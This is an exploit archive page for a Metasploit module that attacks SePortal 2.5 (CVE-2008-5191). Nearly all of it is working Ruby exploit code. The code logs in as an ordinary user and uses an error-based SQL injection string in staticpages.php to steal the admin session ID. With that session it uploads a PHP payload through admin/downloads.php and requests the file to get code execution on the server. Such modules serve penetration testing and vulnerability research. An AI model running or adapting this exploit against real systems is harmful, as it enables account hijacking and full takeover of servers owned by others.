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SePortal 2.5 SQL Injection / Remote Code Execution

SePortal 2.5 SQL Injection / Remote Code Execution
Posted Mar 28, 2014
Authored by xistence, jsass | Site metasploit.com

This Metasploit module exploits a vulnerability found in SePortal version 2.5. When logging in as any non-admin user, it's possible to retrieve the admin session from the database through SQL injection. The SQL injection vulnerability exists in the "staticpages.php" page. This hash can be used to take over the admin user session. After logging in, the "/admin/downloads.php" page will be used to upload arbitrary code.

tags | exploit, arbitrary, php, sql injection
advisories | CVE-2008-5191, OSVDB-46567
SHA-256 | 523ae89437abd95ee2b8adbfe4b6eb79e71f45e8218d4bcec51f35af6aab99d6

SePortal 2.5 SQL Injection / Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "SePortal SQLi Remote Code Execution",
'Description' => %q{
This module exploits a vulnerability found in SePortal version 2.5.
When logging in as any non-admin user, it's possible to retrieve the admin session
from the database through SQL injection. The SQL injection vulnerability exists
in the "staticpages.php" page. This hash can be used to take over the admin
user session. After logging in, the "/admin/downloads.php" page will be used
to upload arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'jsass', # Discovery
'xistence <xistence[at]0x90.nl>' # Metasploit module
],
'References' =>
[
['CVE', '2008-5191'],
['OSVDB', '46567'],
['EDB', '32359']
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['SePortal', {}]
],
'Privileged' => false,
'DisclosureDate' => "Mar 20 2014",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the SePortal installation', '/seportal']),
OptString.new('USER', [true, 'The non-admin user', 'test']),
OptString.new('PASS', [true, 'The non-admin password', 'test'])
], self.class)
end

def uri
return target_uri.path
end

def check
# Check version
vprint_status("#{peer} - Trying to detect installed version")

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "index.php")
})

if res and res.code == 200 and res.body =~ /Powered by \<b\>SePortal\<\/b\> (.*)/
version = $1
else
return Exploit::CheckCode::Unknown
end

vprint_status("#{peer} - Version #{version} detected")

if version.to_f <= 2.5
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end

def exploit

print_status("#{peer} - Logging in as user [ #{datastore['USER']} ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "login.php"),
'vars_post' => {
"user_name" => datastore['USER'],
"user_password" => datastore['PASS']
}
})

if res && res.code == 302 and res.get_cookies =~ /sessionid=([a-zA-Z0-9]+)/
session = $1
print_status("#{peer} - Login successful")
print_status("#{peer} - Session cookie is [ #{session} ]")
else
fail_with(Failure::Unknown, "#{peer} - Login was not succesful!")
end

# Generate random string and convert to hex
sqlq = rand_text_alpha(8)
sqls = sqlq.each_byte.map { |b| b.to_s(16) }.join

# Our SQL Error-Based Injection string - The string will return the admin session between the words ABCD<hash>ABCD in the response page.
sqli = "1' AND (SELECT #{sqls} FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL(CAST(session_id AS CHAR),0x20)),1,50) "
sqli << "FROM seportal_sessions WHERE session_user_id=1 LIMIT 1"
sqli << "),0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '0x#{sqls}'='0x#{sqls}"

print_status("#{peer} - Retrieving admin session through SQLi")
res = send_request_cgi({
'method' => 'POST',
'vars_get' => { "sp_id" => sqli },
'cookie' => "sessionid=#{session}",
'uri' => normalize_uri(uri, "staticpages.php")
})

if res and res.code == 200 and res.body =~ /#{sqlq}([a-zA-Z0-9]+)#{sqlq}/
adminhash = $1
print_status("#{peer} - Admin session is [ #{adminhash} ]")
else
fail_with(Failure::Unknown, "#{peer} - Retrieving admin session failed!")
end

# Random filename
payload_name = rand_text_alpha_lower(rand(10) + 5) + '.php'
# Random title
rand_title = rand_text_alpha_lower(rand(10) + 5)
# Random category ID
rand_catid = rand_text_numeric(4)

post_data = Rex::MIME::Message.new
post_data.add_part("savefile", nil, nil, "form-data; name=\"action\"")
post_data.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{payload_name}\"")
post_data.add_part(rand_title, nil, nil, "form-data; name=\"file_title\"")
post_data.add_part(rand_catid, nil, nil, "form-data; name=\"cat_id\"")

file = post_data.to_s
file.strip!

print_status("#{peer} - Uploading payload [ #{payload_name} ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "admin", "downloads.php"),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => "sessionid=#{adminhash}",
'data' => file
})

# If the server returns 200 and the body contains our payload name,
# we assume we uploaded the malicious file successfully
if not res or res.code != 200
fail_with(Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!")
end

register_file_for_cleanup(payload_name)

print_status("#{peer} - Requesting payload [ #{uri}/data/down_media/#{payload_name} ]")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "data", "down_media", "#{payload_name}")
})

# If we don't get a 200 when we request our malicious payload, we suspect
# we don't have a shell, either.
if res and res.code != 200
print_error("#{peer} - Unexpected response, exploit probably failed!")
end

end

end
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